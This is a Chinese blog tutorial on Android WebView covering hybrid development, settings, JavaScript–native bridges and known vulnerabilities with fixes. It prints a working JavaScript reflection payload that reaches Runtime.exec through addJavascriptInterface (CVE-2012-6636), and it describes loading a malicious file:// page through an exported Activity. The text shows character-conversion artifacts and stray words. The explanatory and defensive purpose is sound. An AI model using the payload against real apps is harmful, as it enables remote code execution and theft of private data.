android WebView詳解,常見漏洞詳解和安全源碼

  這篇博客主要來介紹 WebView 的相關使用方法,常見的幾個漏洞,開發中可能遇到的坑和最後解決相應漏洞的源碼,以及針對該源碼的解析。
  轉載請註明出處:blog.csdn.net/self_study/…
  對技術感興趣的同鞋加羣 544645972 一塊兒交流。javascript

Android Hybrid 和 WebView 解析

  如今市面上的 APP 根據類型大體能夠分爲 3 類:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 「Native APP 良好用戶交互體驗的優點」和 「Web APP 跨平臺開發的優點」,如今不少的主流應用也是使用 Hybrid 模式開發的。html

Hybrid 的優點與原生的體驗差距

Hybrid 的優點

  爲何要使用 Hybrid 開發呢,這就要提到 native 開發的限制:

  1.客戶端發板週期長

    衆所周知,客戶端的發板週期在正常狀況下比較長,就算是創業公司的迭代也在一到兩個星期一次,大公司的迭代週期通常都在月這個數量級別上,並且 Android 還好,iOS 的審覈就算變短了也有幾天,並且可能會有審覈不經過的意外狀況出現,所謂爲了應對業務的快速發展,不少業務好比一些活動頁面就可使用 H5 來進行開發。

  2.客戶端大小體積受限

    若是全部的東西都使用 native 開發,好比上面提到的活動頁面,就會形成大量的資源文件要加入到 APK 中,這就形成 APK 大小增長,並且有的活動頁面更新很快,形成資源文件可能只會使用一個版本,若是不及時清理,就會形成資源文件的殘留。

  3.web 頁面的體驗問題

    使用純 Web 開發,比之前迭代快速不少,可是從某種程度上來講,仍是不如原生頁面的交互體驗好;
  4.沒法跨平臺

    通常狀況下,同同樣的頁面在 android 和 iOS 上須要寫兩份不一樣的代碼,可是如今只須要寫一份便可,Hybrid 具備跨平臺的優點。


  因此綜上這兩種方式單獨處理都不是特別好,考慮到發版週期不定,並且體驗交互上也不能不好,因此就把兩種方式綜合起來,讓終端和前端共同開發一個 APP,這樣一些迭代很穩定的頁面就可使用原生,增長體驗性;一些迭代很快速的頁面就可使用 H5,讓兩種優勢結合起來,彌補原來單個開發模式的缺點。
前端

這裏寫圖片描述

H5 與 Native 的體驗差距

  H5 和 Native 的體驗差距主要在兩個方面:

  1.頁面渲染瓶頸

    第一個是前端頁面代碼渲染,受限於 JS 的解析效率,以及手機硬件設備的一些性能,因此從這個角度來講,咱們應用開發者是很難從根本上解決這個問題的;

  2.資源加載緩慢

    第二個方面是 H5 頁面是從服務器上下發的,客戶端的頁面在內存裏面,在頁面加載時間上面,根據網絡情況的不一樣,H5 頁面的體驗和 Native 在不少狀況下相比差距仍是不小的,可是這種問題從某種程度上來講也是能夠彌補的,好比說咱們能夠作一些資源預加載的方案,在資源預加載方面,其實也有不少種方式,下面主要列舉了一些:java

  • 第一種方式是使用 WebView 自身的緩存機制:
  • 若是咱們在 APP 裏面訪問一個頁面,短期內再次訪問這個頁面的時候,就會感受到第二次打開的時候順暢不少,加載速度比第一次的時間要短,這個就是由於 WebView 自身內部會作一些緩存,只要打開過的資源,他都會試着緩存到本地,第二次須要訪問的時候他直接從本地讀取,可是這個讀取實際上是不太穩定的東西,關掉以後,或者說這種緩存失效以後,系統會自動把它清除,咱們沒辦法進行控制。基於這個 WebView 自身的緩存,有一種資源預加載的方案就是,咱們在應用啓動的時候能夠開一個像素的 WebView ,事先去訪問一下咱們經常使用的資源,後續打開頁面的時候若是再用到這些資源他就能夠從本地獲取到,頁面加載的時間會短一些。
  • 第二種方案是,咱們本身去構建,本身管理緩存:
  • 把這些須要預加載的資源放在 APP 裏面,他多是預先放進去的,也多是後續下載的,問題在於前端這些頁面怎麼去緩存,兩個方案,第一種是前端能夠在 H5 打包的時候把裏面的資源 URL 進行替換,這樣能夠直接訪問本地的地址;第二種是客戶端能夠攔截這些網頁發出的全部請求作替換:
    這裏寫圖片描述

    這個是美團使用的預加載方案(詳情請看: 美團大衆點評 Hybrid 化建設),歸屬於第二種加載方案,每當 WebView 發起資源請求的時候,咱們會攔截這些資源的請求,去本地檢查一下咱們這些靜態資源本地離線包有沒有。針對本地的緩存文件咱們有些策略可以及時的去更新它,爲了安全考慮,也須要同時作一些預下載和安全包的加密工做。預下載有如下幾點優點:
    1. 咱們攔截了 WebView 裏面發出的全部的請求,可是並無替換裏面的前端應用的任何代碼,前端這套頁面代碼能夠在 APP 內,或者其餘的 APP 裏面均可以直接訪問,他不須要爲咱們 APP 作定製化的東西;
    2. 這些 URL 請求,他會直接帶上先前用戶操做所留下的 Cookie ,由於咱們沒有更改資源原始 URL 地址;
    3. 整個前端在用離線包和緩存文件的時候是徹底無感知的,前端只用管寫一個本身的頁面,客戶端會幫他處理好這樣一些靜態資源預加載的問題,有這個離線包的話,加載速度會變快不少,特別是在弱網狀況下,沒有這些離線包加載速度會慢一些。並且若是本地離線包的版本不能跟 H5 匹配的話,H5 頁面也不會發生什麼問題。
      實際資源預下載也確實可以有效的增長頁面的加載速度,具體的對比能夠去看美團的那片文章。
  那麼什麼地方須要使用 Native 開發,什麼地方須要使用 H5 開發呢:通常來講 Hybrid 是用在一些快速迭代試錯的地方,另一些非主要產品的頁面,也可使用 Hybrid 去作;可是若是是一些很重要的流程,使用頻率很高,特別核心的功能,仍是應該使用 Native 開發,讓用戶獲得一個極致的產品體驗。

WebView 詳細介紹

  咱們來看看 Google 官網關於 WebView 的介紹:android

A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and includes methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.複製代碼

能夠看到 WebView 是一個顯示網頁的控件,而且能夠簡單的顯示一些在線的內容,而且基於 WebKit 內核,在 Android4.4(API Level 19) 引入了一個基於 Chromium 的新版本 WebView ,這讓咱們的 WebView 能支持 HTML5 和 CSS3 以及 Javascript,有一點須要注意的是因爲 WebView 的升級,對於咱們的程序也帶來了一些影響,若是咱們的 targetSdkVersion 設置的是 18 或者更低, single and narrow column 和 default zoom levels 再也不支持。Android4.4 以後有一個特別方便的地方是能夠經過 setWebContentDebuggingEnabled() 方法讓咱們的程序能夠進行遠程桌面調試。git

WebView 加載頁面

  WebView 有四個用來加載頁面的方法:github

  使用起來較爲簡單,loadData 方法會有一些坑,在下面的內容會介紹到。

WebView 常見設置

  使用 WebView 的時候,通常都會對其進行一些設置,咱們來看看常見的設置:web

WebSettings webSettings = webView.getSettings();
//設置了這個屬性後咱們才能在 WebView 裏與咱們的 Js 代碼進行交互,對於 WebApp 是很是重要的,默認是 false,
//所以咱們須要設置爲 true,這個自己會有漏洞,具體的下面我會講到
webSettings.setJavaScriptEnabled(true);

//設置 JS 是否能夠打開 WebView 新窗口
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

//WebView 是否支持多窗口,若是設置爲 true,須要重寫 
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函數,默認爲 false
webSettings.setSupportMultipleWindows(true);

//這個屬性用來設置 WebView 是否可以加載圖片資源,須要注意的是,這個方法會控制全部圖片,包括那些使用 data URI 協議嵌入
//的圖片。使用 setBlockNetworkImage(boolean) 方法來控制僅僅加載使用網絡 URI 協議的圖片。須要提到的一點是若是這
//個設置從 false 變爲 true 以後,全部被內容引用的正在顯示的 WebView 圖片資源都會自動加載,該標識默認值爲 true。
webSettings.setLoadsImagesAutomatically(false);
//標識是否加載網絡上的圖片(使用 http 或者 https 域名的資源),須要注意的是若是 getLoadsImagesAutomatically() 
//不返回 true,這個標識將沒有做用。這個標識和上面的標識會互相影響。
webSettings.setBlockNetworkImage(true);

//顯示WebView提供的縮放控件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);

//設置是否啓動 WebView API,默認值爲 false
webSettings.setDatabaseEnabled(true);

//打開 WebView 的 storage 功能,這樣 JS 的 localStorage,sessionStorage 對象纔可使用
webSettings.setDomStorageEnabled(true);

//打開 WebView 的 LBS 功能,這樣 JS 的 geolocation 對象纔可使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");

//設置是否打開 WebView 表單數據的保存功能
webSettings.setSaveFormData(true);

//設置 WebView 的默認 userAgent 字符串
webSettings.setUserAgentString("");

//設置是否 WebView 支持 「viewport」 的 HTML meta tag,這個標識是用來屏幕自適應的,當這個標識設置爲 false 時,
//頁面佈局的寬度被一直設置爲 CSS 中控制的 WebView 的寬度;若是設置爲 true 而且頁面含有 viewport meta tag,那麼
//被這個 tag 聲明的寬度將會被使用,若是頁面沒有這個 tag 或者沒有提供一個寬度,那麼一個寬型 viewport 將會被使用。
webSettings.setUseWideViewPort(false);

//設置 WebView 的字體,能夠經過這個函數,改變 WebView 的字體,默認字體爲 "sans-serif"
webSettings.setStandardFontFamily("");
//設置 WebView 字體的大小,默認大小爲 16
webSettings.setDefaultFontSize(20);
//設置 WebView 支持的最小字體大小,默認爲 8
webSettings.setMinimumFontSize(12);

//設置頁面是否支持縮放
webSettings.setSupportZoom(true);
//設置文本的縮放倍數,默認爲 100
webSettings.setTextZoom(2);複製代碼

  而後還有最經常使用的 WebViewClient 和 WebChromeClient,WebViewClient主要輔助WebView執行處理各類響應請求事件的,好比:chrome

  • onLoadResource
  • onPageStart
  • onPageFinish
  • onReceiveError
  • onReceivedHttpAuthRequest
  • shouldOverrideUrlLoading
WebChromeClient 主要輔助 WebView 處理J avaScript 的對話框、網站 Logo、網站 title、load 進度等處理:
  • onCloseWindow(關閉WebView)
  • onCreateWindow
  • onJsAlert
  • onJsPrompt
  • onJsConfirm
  • onProgressChanged
  • onReceivedIcon
  • onReceivedTitle
  • onShowCustomView
WebView 只是用來處理一些 html 的頁面內容,只用 WebViewClient 就好了,若是須要更豐富的處理效果,好比 JS、進度條等,就要用到 WebChromeClient,咱們接下來爲了處理在特定版本之下的 js 漏洞問題,就須要用到 WebChromeClient。
  接着還有 WebView 的幾種緩存模式:
  • LOAD_CACHE_ONLY
  • 不使用網絡,只讀取本地緩存數據;
  • LOAD_DEFAULT
  • 根據 cache-control 決定是否從網絡上取數據;
  • LOAD_CACHE_NORMAL
  • API level 17 中已經廢棄, 從 API level 11 開始做用同 LOAD_DEFAULT 模式 ;
  • LOAD_NO_CACHE
  • 不使用緩存,只從網絡獲取數據;
  • LOAD_CACHE_ELSE_NETWORK
  • 只要本地有,不管是否過時,或者 no-cache,都使用緩存中的數據。
www.baidu.com 的 cache-control 爲 no-cache,在模式 LOAD_DEFAULT 下,不管如何都會從網絡上取數據,若是沒有網絡,就會出現錯誤頁面;在 LOAD_CACHE_ELSE_NETWORK 模式下,不管是否有網,只要本地有緩存,都會加載緩存。本地沒有緩存時才從網絡上獲取,這個和 Http 緩存一致,我不在過多介紹,若是你想自定義緩存策略和時間,能夠嘗試下,volley 就是使用了 http 定義的緩存時間。
  清空緩存和清空歷史記錄,CacheManager 來處理 webview 緩存相關: mWebView.clearCache(true);;清空歷史記錄 mWebview.clearHistory();,這個方法要在 onPageFinished() 的方法以後調用。

WebView 與 native 的交互

  使用 Hybrid 開發的 APP 基本都須要 Native 和 web 頁面的 JS 進行交互,下面介紹一下交互的方式。
json

js 調用 native

  如何讓 web 頁面調用 native 的代碼呢,有三種方式:

  第一種方式:經過 addJavascriptInterface 方法進行添加對象映射
  這種是使用最多的方式了,首先第一步咱們須要設置一個屬性:

mWebView.getSettings().setJavaScriptEnabled(true);複製代碼

這個函數會有一個警告,由於在特定的版本之下會有很是危險的漏洞,咱們下面將會着重介紹到,設置完這個屬性以後,Native 須要定義一個類:

public class JSObject {
    private Context mContext;
    public JSObject(Context context) {
        mContext = context;
    }

    @JavascriptInterface
    public String showToast(String text) {
        Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
        return "success";
    }
}
...
//特定版本下會存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");複製代碼

須要注意的是在 API17 版本以後,須要在被調用的地方加上 @addJavascriptInterface 約束註解,由於不加上註解的方法是沒有辦法被調用的,JS 代碼也很簡單:

function showToast(){
    var result = myObj.showToast("我是來自web的Toast");
}複製代碼

能夠看到,這種方式的好處在於使用簡單明瞭,本地和 JS 的約定也很簡單,就是對象名稱和方法名稱約定好便可,缺點就是下面要提到的漏洞問題。

  第二種方式:利用 WebViewClient 接口回調方法攔截 url

  這種方式其實實現也很簡單,使用的頻次也很高,上面咱們介紹到了 WebViewClient ,其中有個回調接口 shouldOverrideUrlLoading (WebView view, String url)) ,咱們就是利用這個攔截 url,而後解析這個 url 的協議,若是發現是咱們預先約定好的協議就開始解析參數,執行相應的邏輯,咱們先來看看這個函數的介紹:

Give the host application a chance to take over the control when a new url is about to be loaded in 
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager 
to choose the proper handler for the url. If WebViewClient is provided, return true means the host 
application handles the url, while return false means the current WebView handles the url. This 
method is not called for requests using the POST "method".複製代碼

注意這個方法在 API24 版本已經廢棄了,須要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request)) 替代,使用方法很相似,咱們這裏就使用 shouldOverrideUrlLoading (WebView view, String url)) 方法來介紹一下:

public boolean shouldOverrideUrlLoading(WebView view, String url) {
    //假定傳入進來的 url = "js://openActivity?arg1=111&arg2=222",表明須要打開本地頁面,而且帶入相應的參數
    Uri uri = Uri.parse(url);
    String scheme = uri.getScheme();
    //若是 scheme 爲 js,表明爲預先約定的 js 協議
    if (scheme.equals("js")) {
          //若是 authority 爲 openActivity,表明 web 須要打開一個本地的頁面
        if (uri.getAuthority().equals("openActivity")) {
              //解析 web 頁面帶過來的相關參數
            HashMap<String, String> params = new HashMap<>();
            Set<String> collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
        }
        //表明應用內部處理完成
        return true;
    }
    return super.shouldOverrideUrlLoading(view, url);
}複製代碼

代碼很簡單,這個方法能夠攔截 WebView 中加載 url 的過程,獲得對應的 url,咱們就能夠經過這個方法,與網頁約定好一個協議,若是匹配,執行相應操做,咱們看一下 JS 的代碼:

function openActivity(){
    document.location = "js://openActivity?arg1=111&arg2=222";
}複製代碼

這個代碼執行以後,就會觸發本地的 shouldOverrideUrlLoading 方法,而後進行參數解析,調用指定方法。這個方式不會存在第一種提到的漏洞問題,可是它也有一個很繁瑣的地方是,若是 web 端想要獲得方法的返回值,只能經過 WebView 的 loadUrl 方法去執行 JS 方法把返回值傳遞回去,相關的代碼以下:

//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");複製代碼
//javascript
function returnResult(result){
    alert("result is" + result);
}複製代碼

因此說第二種方式在返回值方面仍是很繁瑣的,可是在不須要返回值的狀況下,好比打開 Native 頁面,仍是很合適的,制定好相應的協議,就可以讓 web 端具備打開全部本地頁面的能力了。

  第三種方式:利用 WebChromeClient 回調接口的三個方法攔截消息

  這個方法的原理和第二種方式原理同樣,都是攔截相關接口,只是攔截的接口不同:

@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
    return super.onJsAlert(view, url, message, result);
}

@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
    return super.onJsConfirm(view, url, message, result);
}

@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
    //假定傳入進來的 message = "js://openActivity?arg1=111&arg2=222",表明須要打開本地頁面,而且帶入相應的參數
    Uri uri = Uri.parse(message);
    String scheme = uri.getScheme();
    if (scheme.equals("js")) {
        if (uri.getAuthority().equals("openActivity")) {
            HashMap<String, String> params = new HashMap<>();
            Set<String> collection = uri.getQueryParameterNames();
            for (String name : collection) {
                params.put(name, uri.getQueryParameter(name));
            }
            Intent intent = new Intent(getContext(), MainActivity.class);
            intent.putExtra("params", params);
            getContext().startActivity(intent);
            //表明應用內部處理完成
            result.confirm("success");
        }
        return true;
    }
    return super.onJsPrompt(view, url, message, defaultValue, result);
}複製代碼

和 WebViewClient 同樣,此次添加的是 WebChromeClient 接口,能夠攔截 JS 中的幾個提示方法,也就是幾種樣式的對話框,在 JS 中有三個經常使用的對話框方法:

  • onJsAlert 方法是彈出警告框,通常狀況下在 Android 中爲 Toast,在文本里面加入\n就能夠換行;
  • onJsConfirm 彈出確認框,會返回布爾值,經過這個值能夠判斷點擊時確認仍是取消,true表示點擊了確認,false表示點擊了取消;
  • onJsPrompt 彈出輸入框,點擊確認返回輸入框中的值,點擊取消返回 null。
可是這三種對話框都是能夠本地攔截到的,因此能夠從這裏去作一些更改,攔截這些方法,獲得他們的內容,進行解析,好比若是是 JS 的協議,則說明爲內部協議,進行下一步解析而後進行相關的操做便可,prompt 方法調用以下所示:

function clickprompt(){
    var result=prompt("js://openActivity?arg1=111&arg2=222");
    alert("open activity " + result);
}複製代碼

這裏須要注意的是 prompt 裏面的內容是經過 message 傳遞過來的,並非第二個參數的 url,返回值是經過 JsPromptResult 對象傳遞。爲何要攔截 onJsPrompt 方法,而不是攔截其餘的兩個方法,這個從某種意義上來講都是可行的,可是若是須要返回值給 web 端的話就不行了,由於 onJsAlert 是不能返回值的,而 onJsConfirm 只可以返回肯定或者取消兩個值,只有 onJsPrompt 方法是能夠返回字符串類型的值,操做最全面方便。

  以上三種方案的總結和對比

  以上三種方案都是可行的,在這裏總結一下

  • 第一種方式:
  • 是如今目前最廣泛的用法,方便簡潔,可是惟一的不足是在 4.2 系統如下存在漏洞問題;
  • 第二種方式:
  • 經過攔截 url 並解析,若是是已經約定好的協議則進行相應規定好的操做,缺點就是協議的約束須要記錄一個規範的文檔,並且從 Native 層往 Web 層傳遞值比較繁瑣,優勢就是不會存在漏洞,iOS7 之下的版本就是使用的這種方式。
  • 第三種方式:
  • 和第二種方式的思想實際上是相似的,只是攔截的方法變了,這裏攔截了 JS 中的三種對話框方法,而這三種對話框方法的區別就在於返回值問題,alert 對話框沒有返回值,confirm 的對話框方法只有兩種狀態的返回值,prompt 對話框方法能夠返回任意類型的返回值,缺點就是協議的制定比較麻煩,須要記錄詳細的文檔,可是不會存在第二種方法的漏洞問題。

native 調用 js

  第一種方式
  native 調用 js 的方法上面已經介紹到了,方法爲:

//java
mWebView.loadUrl("javascript:show(" + result + ")");複製代碼
//javascript
<script type="text/javascript">

function show(result){
    alert("result"=result);
    return "success";
}

</script>複製代碼

須要注意的是名字必定要對應上,要否則是調用不成功的,並且還有一點是 JS 的調用必定要在 onPageFinished 函數回調以後才能調用,要否則也是會失敗的
  第二種方式
  若是如今有需求,咱們要獲得一個 Native 調用 Web 的回調怎麼辦,Google 在 Android4.4 爲咱們新增長了一個新方法,這個方法比 loadUrl 方法更加方便簡潔,並且比 loadUrl 效率更高,由於 loadUrl 的執行會形成頁面刷新一次,這個方法不會,由於這個方法是在 4.4 版本才引入的,因此咱們使用的時候須要添加版本的判斷:

final int version = Build.VERSION.SDK_INT;
if (version < 18) {
    mWebView.loadUrl(jsStr);
} else {
    mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() {
        @Override
        public void onReceiveValue(String value) {
            //此處爲 js 返回的結果
        }
    });
}複製代碼

  兩種方式的對比
  通常最常使用的就是第一種方法,可是第一種方法獲取返回的值比較麻煩,而第二種方法因爲是在 4.4 版本引入的,因此侷限性比較大。

WebView 常見漏洞

  WebView 的漏洞也是很多,列舉一些常見的漏洞,實時更新,若是有其餘的常見漏洞,知會一下我~~

WebView 任意代碼執行漏洞

  已知的 WebView 任意代碼執行漏洞有 4 個,較早被公佈是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口會引發遠程代碼執行漏洞。接着是 CVE-2013-4710,針對某些特定機型會存在 addJavascriptInterface API 引發的遠程代碼執行漏洞。以後是 CVE-2014-1939 爆出 WebView 中內置導出的 「searchBoxJavaBridge_」 Java Object 可能被利用,實現遠程任意代碼。再後來是 CVE-2014-7224,相似於 CVE-2014-1939 ,WebView 內置導出 「accessibility」 和 「accessibilityTraversal」 兩個 Java Object 接口,可被利用實現遠程任意代碼執行。

  通常狀況下,WebView 使用 Javascript 腳本的代碼以下所示:

WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), 「testjs」);
mWebView.loadUrl(url);複製代碼

CVE-2012-6636CVE-2013-4710

  Android 系統爲了方便 APP 中 Java 代碼和網頁中的 Javascript 腳本交互,在 WebView 控件中實現了 addJavascriptInterface 接口,如上面的代碼所示,咱們來看一下這個方法的官方描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, 
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version 
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
 The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called 
 only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection 
 to access an injected object's public fields. Use of this method in a WebView containing untrusted 
 content could allow an attacker to manipulate the host application in unintended ways, executing Java 
 code with the permissions of the host application. Use extreme care when using this method in a WebView 
 which could contain untrusted content.複製代碼

  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore 
    required to maintain thread safety.The Java object's fields are not accessible.複製代碼

  • For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are 
    enumerable from JavaScript.複製代碼

      能夠看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 以前的版本中,使用這個方法是不安全的,網頁中的JS腳本能夠利用接口 「testjs」 調用 App 中的 Java 代碼,而 Java 對象繼承關係會致使不少 Public 的函數及 getClass 函數均可以在JS中被訪問,結合 Java 的反射機制,攻擊者還能夠得到系統類的函數,進而能夠進行任意代碼執行,首先第一步 WebView 添加 Javascript 對象,而且添加一些權限,好比想要獲取 SD 卡上面的信息就須要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中能夠遍歷 window 對象,找到存在 getClass 方法的對象,再經過反射的機制,獲得 Runtime 對象,而後就能夠調用靜態方法來執行一些命令,好比訪問文件的命令;第三步就是從執行命令後返回的輸入流中獲得字符串,好比執行完訪問文件的命令以後,就能夠獲得文件名的信息了,有很嚴重暴露隱私的危險,核心 JS 代碼:

    function execute(cmdArgs) {  
        for (var obj in window) {  
            if ("getClass" in window[obj]) {  
                alert(obj);  
                return  window[obj].getClass().forName("java.lang.Runtime")  
                     .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
            }  
        }  
    }複製代碼

    因此當一些 APP 經過掃描二維碼打開一個外部網頁的時候,就能夠執行這段 js 代碼,漏洞在 2013 年 8 月被披露後,不少 APP 都中招,其中瀏覽器 APP 成爲重災區,但截至目前仍有不少 APP 中依然存在此漏洞,與以往不一樣的只是攻擊入口發生了必定的變化。另一些小廠商的 APP 開發團隊由於缺少安全意識,依然還在APP中爲所欲爲的使用 addJavascriptInterface 接口,明目張膽踩雷。

      出於安全考慮,Google 在 API17 版本中就規定可以被調用的函數必須以 @JavascriptInterface 進行註解,理論上若是 APP 依賴的 API 爲 17(Android 4.2)或者以上,就不會受該問題的影響,但在部分低版本的機型上,API17 依然受影響,因此危害性到目前爲止依舊不小。關於全部 Android 機型的佔比,能夠看看 Google 的 Dashboards

    這裏寫圖片描述


    截止 2017/1/9 日,能夠看到 android5.0 之下的手機依舊很多,須要重視。

       漏洞的解決

      可是這個漏洞也是有解決方案的,上面的不少地方也都提到了這個漏洞,那麼這個漏洞怎麼去解決呢?這就須要用到 onJsPrompt 這個方法了,這裏先給出解決這個漏洞的具體步驟,在下面的源碼部分有修復這個漏洞的詳細代碼:
    • 繼承 WebView ,重寫 addJavascriptInterface 方法,而後在內部本身維護一個對象映射關係的 Map,當調用 addJavascriptInterface 方法,將須要添加的 JS 接口放入這個 Map 中;
    • 每次當 WebView 加載頁面的時候加載一段本地的 JS 代碼:

    javascript:(function JsAddJavascriptInterface_(){
        if(typeof(window.XXX_js_interface_name)!='undefined'){
                console.log('window.XXX_js_interface_name is exist!!');
            }else{
               window.XXX_js_interface_name={
                       XXX:function(arg0,arg1){
                         return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
                     },
                };
            }
        })()複製代碼

    這段 JS 代碼定義了注入的格式,其中的 XXX 爲注入對象的方法名字,終端和 web 端只要按照定義的格式去互相調用便可,若是這個對象有多個方法,則會註冊多個 window.XXX_js_interface_name 塊;

  • 而後在 prompt 中返回咱們約定的字符串,固然這個字符串也能夠本身從新定義,它包含了特定的標識符 MyApp,後面包含了一串 JSON 字符串,它包含了方法名,參數,對象名等;
  • 當 JS 調用 XXX 方法的時候,就會調用到終端 Native 層的 OnJsPrompt 方法中,咱們再解析出方法名,參數,對象名等,解析出來以後進行相應的處理,同時返回值也能夠經過 prompt 返回回去;
  • window.XXX_js_interface_name 表明在 window 上聲明瞭一個對象,聲明的方式是:方法名:function(參數1,參數2)。
  • 還有一個問題是何時加載這段 JS 呢,在 WebView 正常加載 URL 的時候去加載它,可是會發現當 WebView 跳轉到下一個頁面時,以前加載的 JS 可能就已經無效了,須要再次加載,因此一般須要在一下幾個方法中加載 JS,這幾個方法分別是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。
      經過這幾步,就能夠簡單的修復漏洞問題,可是還須要注意幾個問題,須要過濾掉 Object 類的方法,因爲經過反射的形式來獲得指定對象的方法,因此基類的方法也能夠獲得,最頂層的基類就是 Object,爲了避免把 getClass 等方法注入到 JS 中,咱們須要把 Object 的共有方法過濾掉,須要過濾的方法列表以下:「getClass」,「hashCode」,「notify」,「notifyAll」,「equals」,「toString」,「wait」,具體的代碼實現能夠看看下面的源碼。

    CVE-2014-1939

      在 2014 年發如今 Android4.4 如下的系統中,webkit 中默認內置了 「searchBoxJavaBridge」,代碼位於 「java/android/webkit/BrowserFrame.java」,該接口一樣存在遠程代碼執行的威脅,因此就算沒有經過 addJavascriptInterface 加入任何的對象,系統也會加入一個 searchBoxJavaBridge 對象,解決辦法就是經過 removeJavascriptInterface 方法將對象刪除。

    CVE-2014-7224

      在 2014 年,研究人員 Daoyuan Wu 和 Rocky Chang 發現,當系統輔助功能服務被開啓時,在 Android4.4 如下的系統中,由系統提供的 WebView 組件都默認導出 」accessibility」 和 」accessibilityTraversal」 這兩個接口,代碼位於 「android/webkit/AccessibilityInjector.java」,這兩個接口一樣存在遠程任意代碼執行的威脅,一樣的須要經過 removeJavascriptInterface 方法將這兩個對象刪除。

    WebView 密碼明文存儲漏洞

      WebView 默認開啓密碼保存功能 mWebView.setSavePassword(true),若是該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,若是選擇」是」,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,因此須要經過 WebSettings.setSavePassword(false) 關閉密碼保存提醒功能。

    WebView 域控制不嚴格漏洞

      要了解 WebView 中 file 協議的安全性,咱們這裏用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫作 WebViewActivity :

    public class WebViewActivity extends Activity {
        private WebView webView;
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_webview);
            webView = (WebView) findViewById(R.id.webView);
            //webView.getSettings().setJavaScriptEnabled(true); (0)
            //webView.getSettings().setAllowFileAccess(false); (1)
            //webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
            //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
            Intent i = getIntent();
            String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
            webView.loadUrl(url);
        }
     }複製代碼

    將該 WebViewActivity 設置爲 exported="true",當其餘應用啓動此 Activity 時, intent 中的 data 直接被看成 url 來加載(假定傳進來的 url 爲 file:///data/local/tmp/attack.html ),經過其餘 APP 使用顯式 ComponentName 或者其餘相似方式就能夠很輕鬆的啓動該 WebViewActivity ,咱們知道由於 Android 中的 sandbox,Android 中的各應用是相互隔離的,在通常狀況下 A 應用是不能訪問 B 應用的文件的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應用數據泄露的威脅,即 A 應用能夠經過 B 應用導出的 Activity 讓 B 應用加載一個惡意的 file 協議的 url,從而能夠獲取 B 應用的內部私有文件,下面咱們着重分析這幾個 API 對 WebView 安全性的影響。

    setAllowFileAccess)

    Enables or disables file access within WebView. File access is enabled by default. Note that this 
    enables or disables file system access only. Assets and resources are still accessible using 
    file:///android_asset and file:///android_res.複製代碼

      經過這個 API 能夠設置是否容許 WebView 使用 File 協議,Android 中默認 setAllowFileAccess(true),因此默認值是容許,在 File 域下,可以執行任意的 JavaScript 代碼,同源策略跨域訪問則可以對私有目錄文件進行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 作限制,因此使用 file 域加載的 js 可以使用同源策略跨域訪問致使隱私信息泄露,針對 IM 類軟件會致使聊天信息、聯繫人等等重要信息泄露,針對瀏覽器類軟件,則更多的是 cookie 信息泄露。若是不容許使用 file 協議,則不會存在下面將要講到的各類跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件。禁用 file 協議後,讓 WebViewActivity 打開 attack.html 會獲得以下圖所示的輸出,圖中所示的文件是存在的,但 WebView 禁止加載此文件,移動版的 Chrome 默認禁止加載 file 協議的文件。

    這裏寫圖片描述


    那麼怎麼解決呢,不要着急,繼續往下看。

    setAllowFileAccessFromFileURLs)

    Sets whether JavaScript running in the context of a file scheme URL should be allowed to access 
    content from other file scheme URLs. To enable the most restrictive, and therefore secure policy, 
    this setting should be disabled. Note that the value of this setting is ignored if the value of 
    getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript 
    access to file scheme resources. Other access to such resources, for example, from image HTML 
    elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH 
    and earlier devices, you should explicitly set this value to false.
    The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level 
